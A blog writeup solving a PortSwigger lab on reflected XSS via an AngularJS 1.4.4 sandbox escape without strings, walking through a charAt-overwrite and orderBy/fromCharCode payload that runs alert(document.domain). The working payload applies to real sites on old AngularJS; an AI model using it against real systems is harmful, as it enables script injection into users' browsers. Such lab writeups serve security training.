Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Reflected XSS with AngularJS sandbox escape without strings | Jan 1, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Reflected XSS with AngularJS sandbox escape without strings! Without further ado, let’s dive in.

Background

This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.

Exploitation

Home page:

In here, we can see there is a search box.

Let’s search something:

As you can, our input is reflected to the web page.

View source page:

<script type="text/javascript" src="/resources/js/angular_1-4-4.js"></script>
[...]
<section class=blog-header>
    <script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
        $scope.query = {};
        var key = 'search';
        $scope.query[key] = 'test';
        $scope.value = $parse(key)($scope.query);
    });</script>
    <h1 ng-controller=vulnCtrl>1 search results for \{\{value\}\}</h1>
    <hr>
</section>

As you can see, the search functionality is using AngularJS 1.4.4. Also, our input is being rendered as a template: {{value}}.

Let’s try to use an AngularJS sandbox bypass in PayloadAllTheThings:

However, it doesn’t work.

In the lab’s background, it said:

This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.

To solve that, we can use toString() to create a string without using quotes:

1&toString()

This will get the String prototype.

Then, we can use the most well-known escape uses the modified charAt() function globally within an expression:

1&toString().constructor.prototype.charAt=[].join;

This will overwrite the charAt function for every string, thus bypassing AngularJS sandbox.

After that, we can use the orderBy filter to execute our JavaScript payload:

1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:

In here, we’re sending the array [1] to the orderBy filter on the right. The colon signifies an argument to send to the filter.

Argument:

toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)=1

Again, use toString() to get the String prototype. Then, we use the fromCharCode method generate our payload by converting character codes into the string x=alert(document.domain). Because the charAt function has been overwritten, AngularJS will allow this code where normally it would not.

Final payload:

1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)=1

Nice!

What we’ve learned:

  1. Reflected XSS with AngularJS sandbox escape without strings